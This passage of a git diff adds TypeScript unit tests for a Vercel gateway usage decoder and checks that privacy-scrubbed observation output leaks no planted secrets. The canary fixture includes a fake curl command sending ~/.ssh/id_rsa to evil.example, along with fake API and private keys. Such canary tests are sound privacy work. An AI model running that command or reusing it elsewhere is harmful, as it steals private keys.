1 }, + ] + const { calls } = decodeVercelGateway({ records: rows }) + + expect(calls).toHaveLength(2) + expect(calls[0]?.timestamp).toBe('') + expect(calls[0]?.sessionId).toBe(':no-day') + expect(calls[0]?.deduplicationKey).toBe('vercel-gateway::no-day') + expect(calls[1]?.model).toBe('unknown') + expect(calls[1]?.timestamp).toBe('2026-06-04T12:00:00.000Z') + expect(calls[1]?.sessionId).toBe('2026-06-04:unknown') + }) +}) + +describe('vercel-gateway observations', () => { + const SECRETS = { + prompt: 'SECRET PROMPT: reset the production database and email me the dump', + absPath: '/Users/victim/company/secret-plan.md', + apiKey: 'sk-live-AKIA1234567890SECRETKEY', + commandLine: 'curl https://evil.example/exfil?data=$(cat ~/.ssh/id_rsa)', + fileContent: 'BEGIN RSA PRIVATE KEY line1 line2 END RSA PRIVATE KEY', + } + + function buildEnvelope() { + const { calls } = decodeVercelGateway({ + records: [ + { + day: '2026-07-17', + model: SECRETS.prompt, + total_cost: 1.23, + input_tokens: 100, + output_tokens: 50, + }, + ], + }) + const { sessions } = toObservations( + { sessionId: 'report-2026-07-17', projectPath: SECRETS.absPath, calls }, + { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' }, + ) + return { + schemaVersion: OBSERVATION_SCHEMA_VERSION, + generator: { name: '@codeburn/core', version: '0.0.0-test' }, + sessions, + } + } + + it('produces a schema-valid envelope', () => { + expect(ObservationEnvelope.safeParse(buildEnvelope()).success).toBe(true) + }) + + it('contains at least one call (non-vacuous)', () => { + const env = buildEnvelope() + const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0) + expect(callCount).toBeGreaterThan(0) + }) + + it('emits no free text except the model identifier (identifier-exemption convention)', () => { + const env = buildEnvelope() + const serialized = JSON.stringify(env) + + // The model field is an API identifier and is emitted by design; the planted + // secret in model is therefore expected to appear there and only there. + expect(serialized).toContain(SECRETS.prompt) + expect(serialized).not.toContain(SECRETS.absPath) + expect(serialized).not.toContain(SECRETS.apiKey) + expect(serialized).not.toContain(SECRETS.commandLine) + expect(serialized).not.toContain(SECRETS.fileContent) + }) + + it('exposes the provider-reported cost as measured', () => { + const env = buildEnvelope() + const call = env.sessions[0]?.calls[0] + expect(call?.costBasis).toBe('measured') + expect(call?.measuredCostUSD).toBe(1.23) + }) +}) diff --git a/packages/core/tsup.config.ts b/packages/core/tsup.config.ts index 26e5d52a..9846e7e8 100644 --- a/packages/core/tsup.config.ts +++ b/packages/core/tsup.config.ts @@ -44,6 +44,7 @@ export default defineConfig({ 'src/providers/opencode-session/index.ts', 'src/providers/antigravity/index.ts', 'src/providers/kiro/index.ts', + 'src/providers/vercel-gateway/index.ts', ], format: ['esm'], target: 'node20',